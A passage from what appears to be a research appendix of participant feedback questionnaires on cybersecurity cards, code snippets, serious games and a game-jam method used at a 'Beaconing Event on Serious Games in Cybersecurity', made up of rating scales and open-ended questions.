(3) Provided me with knowledge about the relationship between cybersecurity concepts, such as the relationships between attacks, defences and vulnerabilities	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(4) Provided me with knowledge about cybersecurity terminology (that is, the words used in cybersecurity)	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(5) Enabled me to learn about cybersecurity on my own	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(6) Provided access to cybersecurity knowledge when the cybersecurity expert was not present	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(7) Enabled me to discuss cybersecurity with the cybersecurity experts	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(8) Enabled me to discuss cybersecurity with others (not including the cybersecurity experts)	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(9) Enabled me to analyze the code snippets	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(10) Enabled me to analyze the serious game	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>

Question 3

Are there any other ways the cybersecurity cards have been useful or a limitation for you during the Beaconing Event?

Enter your answer

Question 4

Please rate how **useful** the **cybersecurity cards** were in your opinion, for **mapping to the code snippets**, using the following scale: (1= Not useful at all, 2 = Not useful, 3 = Somewhat not useful, 4 = Neutral/Don't know, 5 = Somewhat useful, 6 = Useful, 7 = Very useful)

1	2	3	4	5	6	7
---	---	---	---	---	---	---

Question 5

Please rate how **useful** the **cybersecurity cards** were in your opinion, for **mapping to the serious game** (i.e. Scarcity or No Entry), using the following scale: (1= Not useful at all, 2 = Not useful, 3 = Somewhat not useful, 4 = Neutral/Don't know, 5 = Somewhat useful, 6 = Useful, 7 = Very useful)

1	2	3	4	5	6	7
---	---	---	---	---	---	---

Question 6

Looking at the answers you selected in the previous questions 5-7, why did you find using the cybersecurity cards in those activities particularly useful/not useful?

Enter your answer

Question 7

Which category or subset of the cybersecurity cards did you **not** use, if any? Please tick **all** the boxes below that apply in your opinion:

- Glossary
- Attack cards (in general) (fully red cards)
- Vulnerability cards (in general) (cards with half red/half white diagonal)
- Defence cards (in general) (white cards with red border)
- Attack – Injection cards
- Attack – Memory cards
- Attack – Race condition cards
- Attack – Side channel cards
- Attack – Authentication cards
- Attack – Web cards
- Attack – System cards
- Attack – Human factors cards
- Defence – Detection cards
- Defence – Mitigation cards
- Defence – Education cards
- Defence – Prevention cards
- Vulnerability – Code cards
- Vulnerability – System cards
- Vulnerability – Environment cards
- Vulnerability – User cards
- Vulnerability – Management cards

<input type="checkbox"/> Other

Question 8

Looking at the types of cards you selected in the previous question, why did you not use those cards?

Enter your answer

Question 8

How could the **cybersecurity cards potentially be improved** in your opinion? Please tick **all** the boxes of the statements below you agree with:

- The Glossary overview of the different types of cybersecurity cards was not clear.
- The total number of cards was too high.
- The total number of cards was too low.
- There were too many different types/categories of cybersecurity cards.
- The number of cards in each category was too high (for example, the number of Attack cards in the category Injection).
- The logos and icons were not clear.
- The numbering of the cards was not clear.
- The colour-coding of the different types/categories of cybersecurity cards was not clear.
- The relationships between the different cybersecurity cards was not clear.
- The information provided by the cybersecurity cards was too abstract.
- The information provided by the cybersecurity cards was too detailed.
- The information provided by the cybersecurity cards was too technical or too difficult to understand.

Other

Question 10

Are there any other improvements to the cybersecurity cards you would like to suggest?

Enter your answer

E FEEDBACK ARTEFACTS QUESTIONNAIRE

The purpose of this questionnaire is to, now that you had some time to reflect, enable each participant to give individual feedback on each of the artefacts showcased at the Beaconing Event on Serious Games in Cybersecurity. It is estimated that this questionnaire will take about **10 minutes** to complete.

Question 1

Please enter your full name (Please note that your answers will be anonymized).

Enter your answer

Question 2

What have you learned about security by taking part in the Beaconing Event, if anything? For example, regarding terminology, specific types of attacks, defences or vulnerabilities, the relationships between those, or perhaps technical details regarding a cybersecurity aspect?

Enter your answer

Question 3

Which **artefact** at the Beaconing Event did you find **most helpful** with regards to **learning/teaching about security and why?** (For example: the code snippets, cybersecurity cards, serious games, slow game jam methodology?)

Enter your answer

Question 4

Please rate how **useful** the **code snippets** are for security education/training in your opinion, using the following scale: (1= Not useful at all, 2 = Not useful, 3 = Somewhat not useful, 4 = Neutral/Don't know, 5 = Somewhat useful, 6 = Useful, 7 = Very useful)

1	2	3	4	5	6	7
---	---	---	---	---	---	---

Question 5

What are the three **strongest points** of the **code snippets** in your opinion, if any?

Enter your answer

Question 6

What are the three **weakest points** of the **code snippets** in your opinion, if any?

Enter your answer

Question 7

Please rate how **useful** the **cybersecurity cards** are for **learning about security** in your opinion, using the following scale: (1= Not useful at all, 2 = Not useful, 3 = Somewhat not useful, 4 = Neutral/Don't know, 5 = Somewhat useful, 6 = Useful, 7 = Very useful)

1	2	3	4	5	6	7
---	---	---	---	---	---	---

Question 8

Please rate how **useful** the **cybersecurity cards** are for **security education/training** in your opinion, using the following scale: (1= Not useful at all, 2 = Not useful, 3 = Somewhat not useful, 4 = Neutral/Don't know, 5 = Somewhat useful, 6 = Useful, 7 = Very useful)

1	2	3	4	5	6	7
---	---	---	---	---	---	---

Question 9

What are the three **strongest points** of the **cybersecurity cards** in your opinion, if any?

Enter your answer

Question 10

What are the three **weakest points** of the **cybersecurity cards** in your opinion, if any?

Enter your answer

Question 11

Please rate how **useful** the **serious games** are for **security education/training** in your opinion, using the following scale: (1= Not useful at all, 2 = Not useful, 3 = Somewhat not useful, 4 = Neutral/Don't know, 5 = Somewhat useful, 6 = Useful, 7 = Very useful)

1	2	3	4	5	6	7
---	---	---	---	---	---	---

Question 12

What are the three **strongest points** of the **serious games** in your opinion, if any?

Enter your answer

Question 13

What are the three **weakest points** of the **serious games** in your opinion, if any?

Enter your answer

Question 14

Please rate how **useful** the **Slow Game Jam Methodology** are for **security education/training** in your opinion, using the following scale: (1= Not useful at all, 2 = Not useful, 3 = Somewhat not useful, 4 = Neutral/Don't know, 5 = Somewhat useful, 6 = Useful, 7 = Very useful)

1	2	3	4	5	6	7
---	---	---	---	---	---	---

Question 15

What are the three **strongest points** of the **Slow Game Jam Methodology** in your opinion, if any?

Enter your answer

Question 16

What are the three **weakest points** of the **Slow Game Jam Methodology** in your opinion, if any?

Enter your answer

Question 17

Which artefacts at the Beaconing Event, if any, would you **potentially like to use yourself** and **why**?

Enter your answer

Question 18

Which part of the Beaconing Event did you **enjoy** the most **and why**?

Enter your answer

Question 19

Which part of the Beaconing Event did you find **most challenging or difficult** and **why**? This could be for you individually or as a group.

Enter your answer

Question 20

Any other comments or feedback you would like to add? Thank you very much for your time for and for taking part in our Beaconing Event on Serious Games in Cybersecurity!

Enter your answer